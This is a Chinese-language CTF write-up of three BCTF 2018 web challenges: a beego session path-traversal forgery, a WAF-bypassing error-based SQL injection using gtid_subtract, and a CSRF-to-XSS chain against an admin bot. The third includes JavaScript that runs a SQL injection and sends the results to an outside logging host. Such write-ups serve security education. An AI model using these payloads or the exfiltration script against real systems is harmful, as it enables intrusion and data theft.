Facebook Twitter Linkedin YouTube VK Xing

BCTF2018web(part1)

checkin

go的sessionid没有过滤./的时候导致可以用任意文件作为session,可以在github上面看Nov11的commit
https://github.com/astaxie/beego/pull/3383

go-macaron(https://github.com/go-macaron/session version<0.4.0)
beego(https://github.com/astaxie/beego version<1.11.0)都存在这个洞

给出一个外国选手的poc

package main
import (
    "github.com/astaxie/beego/session"
    "log"
)
func main() {
    s := make(map[interface{}]interface{})
    s["username"] = "admin"
    s["UID"] = 1
    encoded_s, err:= session.EncodeGob(s)
    if err != nil {
        log.Fatal(err)
    }
    log.Printf("%v", encoded_s)
    decoded_s, err := session.DecodeGob(encoded_s)
    if err != nil {
        log.Fatal(err)
    }
    log.Printf("%v", decoded_s)
}

跑一下poc

blacsheep@Macbook:/home/blacsheep/Tools/MyWebTools/gogs  $ go run hatena_poc.go 
2018/11/29 19:37:16 [14 255 129 4 1 2 255 130 0 1 16 1 16 0 0 61 255 130 0 2 6 115 116 114 105 110 103 12 10 0 8 117 115 101 114 110 97 109 101 6 115 116 114 105 110 103 12 7 0 5 97 100 109 105 110 6 115 116 114 105 110 103 12 5 0 3 85 73 68 3 105 110 116 4 2 0 2]
2018/11/29 19:37:16 map[username:admin UID:1]

丢到cyberchef的fromdecimal
https://gchq.github.io/CyberChef/#recipe=From_Decimal(‘Space’,false)&input=MTQgMjU1IDEyOSA0IDEgMiAyNTUgMTMwIDAgMSAxNiAxIDE2IDAgMCA2MSAyNTUgMTMwIDAgMiA2IDExNSAxMTYgMTE0IDEwNSAxMTAgMTAzIDEyIDEwIDAgOCAxMTcgMTE1IDEwMSAxMTQgMTEwIDk3IDEwOSAxMDEgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA3IDAgNSA5NyAxMDAgMTA5IDEwNSAxMTAgNiAxMTUgMTE2IDExNCAxMDUgMTEwIDEwMyAxMiA1IDAgMyA4NSA3MyA2OCAzIDEwNSAxMTAgMTE2IDQgMiAwIDI

存个poc.jpg,上传改session,登录到admin

然后adminpanel拿到flag

babySQLiSPA

/api/hints可以注入
难点是绕过
mysql版本5.7.24,大多数几何函数无法使用.polygon可以爆库名和表名,但是没用,得去找flag表
这里mysql5.7之后新增的报错函数有

ST_LatFromGeoHash()
    select ST_LatFromGeoHash(version());
ST_LongFromGeoHash()
    select ST_LongFromGeoHash(version());
GTID_SUBSET()
    select GTID_SUBSET(version(),1);
GTID_SUBTRACT()
    select GTID_SUBTRACT(version(),1);
ST_PointFromGeoHash()
    select ST_PointFromGeoHash(version(),1);

需要过的waf

export function checkHint (hint) {
 return ! / |;|\+|-|\*|\/|
<|>|~|!|\d|%|\x09|\x0a|\x0b|\x0c|\x0d|`|gtid_subset|hash|json|st\_|updatexm
l|extractvalue|floor|rand|exp|json_keys|uuid_to_bin|bin_to_uuid|union|like|
sleep|benchmark/ig.test(hint)
}

测试脚本

#!/usr/bin/env python
# coding=utf-8
import hashlib
import requests
import re

u=requests.session()
data= {'password': 'blacsheep11',
'username': 'blacsheep11'}
r=u.post('http://47.93.100.42:9999/api/login',data=data)
print(r.text)

def md5(src):
    return hashlib.md5(str(src).encode()).hexdigest()

def calc(src):
    for i in range(100000000000):
        if md5(i)[:6]==str(src):
            return i

while 1:
    r=u.get('http://47.93.100.42:9999/api/captcha')
    print(r.text)
    prefix= re.findall(r'"captcha":"(.{6})"}',r.text)[0]
    captcha = calc(prefix)
    hint=input('hints:')
    data={'captcha':captcha,'hint':hint}
    r=u.post('http://47.93.100.42:9999/api/hints',data=data)
    print(r.text)

使用gtid_subtract绕过

hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((table_schema=database()))),''))or'
{"error":"Malformed GTID set specification 'FdkuBNGoarFgVBwDjHcZBwwBFKNnkGDrIRubYZZtAGOifUogHPjXLyFhGxPfNWyE,Hints,MztsezsxCgHmgbYoeQGqKteosCHjfpXoGCFVjNPEpIKzFjCPYRmOMQAKgVCuoOZX,TLcLvkgTjVjFvBrUfhsqkZFMcRCVlqzEfTPxujYcwzQDtJRGzFRKqmxxapLckUBI'."}

发现表名一片混乱,和pgg聊天的时候他说nu1l那边一直卡在表名这个地方2333
后来他们限定表名长度来提取的

hints:'or(gtid_subtract((select(group_concat(table_name))from(information_schema.tables)where((length(table_name)=ord('j')^ord('t')))),''))or'
{"error":"Malformed GTID set specification 'vhEFfFlLlLaAAaaggIiIIsSSHeReEE'."}

表名长度30的时候找到flag表,payload有长度限制,所以爆列名的时候稍微改一下payload

hints:'||gtid_subtract((select(group_concat(column_name))from(information_schema.columns)where(table_name='vhEFfFlLlLaAAaaggIiIIsSSHeReEE')),'')#
{"error":"Malformed GTID set specification 'ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO'."}
hints:'||gtid_subtract((select(ZSLRSrpOlCCysnaHUqCEIjhtWbxbMlDkUO)from(vhEFfFlLlLaAAaaggIiIIsSSHeReEE)),'')#
{"error":"Malformed GTID set specification 'BCTF{060950FB-839E-4B57-B91D-51E78F56856F}'."}

SeaFaring1

这题评论的链接会被机器人访问
注意到robots.txt

User-agent: *
Disallow: /admin/handle_message.php

curl一下/admin
发现部分源码

function view_uid(uid) {
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "view_uid", "uid": uid},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    var Status = '';
                    $('#timestamp').text(data['timestamp']);
                    $('#username').text(data['user_name']);
                    $('#message').text(data['message']);
                    document.getElementById("replyuid").value=data['uid'];
                    if (parseInt(data['is_checked']) == 1) {
                        Status = '<div style="color:#04FF00">Checked</div>';
                    } else {
                        Status = '<div style="color:#FFA500">Not Checked</div>';
                    }
                    document.getElementById("status").innerHTML = Status;
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }
    function view_unreads() {
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "view_unreads", "status": 0},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    var html = '';
                    var tbody = document.getElementById("comments");
                    for (var i = 0; i < data.length; i++) {
                        var Time = data[i][0];
                        var Username = data[i][1];
                        var Uid = data[i][2];
                        var Status = '';
                        if (parseInt(data[i][3]) == 1) {
                            Status = '<div style="color:#04FF00">Checked</div>';
                        } else {
                            Status = '<div style="color:#FFA500">Not Checked</div>';
                        }
                        html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
                    }
                    tbody.innerHTML = html;
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }

    function set_reply() {
        var uid = document.getElementById("replyuid").value;
        var  reply =  document.getElementById("replymessage").value;
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "set_reply", "uid": uid, "reply": reply},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    alert('Succ: ' + data);
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }
    function load_all() {
        $.ajax({
            type: "POST",
            url: "/admin/handle_message.php",
            data: {"token": csrf_token, "action": "load_all"},
            dataType: "json",
            success: function (data) {
                if (!data["error"]) {
                    data = data['result'];
                    var html = '';
                    var tbody = document.getElementById("comments");
                    for (var i = 0; i < data.length; i++) {
                        var Time = data[i][0];
                        var Username = data[i][1];
                        var Uid = data[i][2];
                        var Status = '';
                        if (parseInt(data[i][3]) == 1) {
                            Status = '<div style="color:#04FF00">Checked</div>';
                        } else {
                            Status = '<div style="color:#FFA500">Not Checked</div>';
                        }
                        html += "<tr> <td > <center> " + Time + " </center></td> <td> <center> " + Username + " </center></td> <td> <center> <a onclick = view_uid('" + Uid + "') > " + Uid + " </a></center> </td> <td> <center> " + Status + " </center></td> </tr>"
                    }
                    tbody.innerHTML = html;
                }
                else
                    alert('Error: ' + data["error"]);
            }
        });
    }
    setTimeout(load_all, 1000);

发现/admin/handle_message.php存在xss

blacsheep@Macbook:/home/blacsheep  $ curl -X POST -d "token=<img src=1 onerror=alert(/xss/)>&action=view_id&uid=1" 'http://seafaring.xctf.org.cn:9999/admin/handle_message.php'
{"result":"","error":"CSRFToken  '<img src=1 onerror=alert(\/xss\/)>'is not correct"}

构造一个html页面让bot去访问

<html>
    <script>
    window.onload =function(){
    document.getElementById("f").submit();
    }

    </script>
    <form method="post" action="http://seafaring.xctf.org.cn:9999/admin/handle_message.php"    id="f">
            <input type="hidden" name="token" value="<script src=http://t.cn/ELTmXGg></script><script src=https://blog.blacsheep.cn/bctf_evil_oqwej98czc.js></script>">
        <input type="hidden" name="action" value="view_id">
        <input type="hidden" name="uid" value="1">
    </form>
</html>

外部引入的js文件(改自Nu1l的师傅)

function req(url,data){
    var xhr = new XMLHttpRequest();
    xhr.open("POST",url,false);
    xhr.setRequestHeader("Content-Type","application/x-www-formurlencoded");
    xhr.send(data);
    var resp = xhr.responseText;
    return resp;
}

function get_csrf_token(){
    var xhr = new XMLHttpRequest();
    xhr.open("GET","http://seafaring.xctf.org.cn:9999/admin/index.php",false);
    xhr.send();
    var res = xhr.responseText;
    var csrftoken = res.match(/csrf_token = \"([a-z0-9]*)\"/ig)[0].split('="')[1].replace('"','');
    return csrftoken;
}

function send(data){
    location.href = "https://blog.blacsheep.cn/log.php?data="+escape(data);
}

var ress=req("http://172.20.0.2:6379/","token="+get_csrf_token()+"&action=view_unreads&status=3%20%20and%201%3D2%20union%20select%201%2Cload_file%280x2f70726f632f6e65742f617270%29%2C3%2C4%20from%20f111111ag%23");
send(ress);

然后就可以在vps上面收结果了
不过复现的时候发现并没有收到结果
看了下日志发现bot只是访问了csrf页面而并没有载入js文件…不太清楚原因

访问成功之后就发现是个后台的sql注入

{"result":"","error":"sql query error! debug info:SELECT
timestamp,user_name,uid,is_checked,message FROM feedbacks where uid='1\\'or
1#' ORDER BY id DESC "}

用了addslashes,但是有一个接口是整形注入

{"result":"","error":"sql query error! debug info:SELECT
timestamp,user_name,uid,is_checked FROM feedbacks where is_checked=1\\'
ORDER BY id DESC limit 0,50"}

直接跑就拿到flag

{"result":[["1","bctf{XsS_SQL1_7438x_2xfccmk}","3","4"]],"error":""}

自己做的时候发现的xss是登录界面的xss…没发现后台的token可以xss…登录处的触发需要撞验证码…所以post了几百个包..后来发现bot访问地超级慢第二天就被查水表2333…

不过思路没啥问题,csrf控制bot去触发xss载入js文件,当时想法是如果打到xss看下后台页面存不存在其他有用的东西,不过xss找错了,很可惜…不过反正也不会csrf…收了Nu1l师傅的csrfpayload了ORZ

Leave a Reply

Your email address will not be published.Required fields are marked *

%d 博主赞过: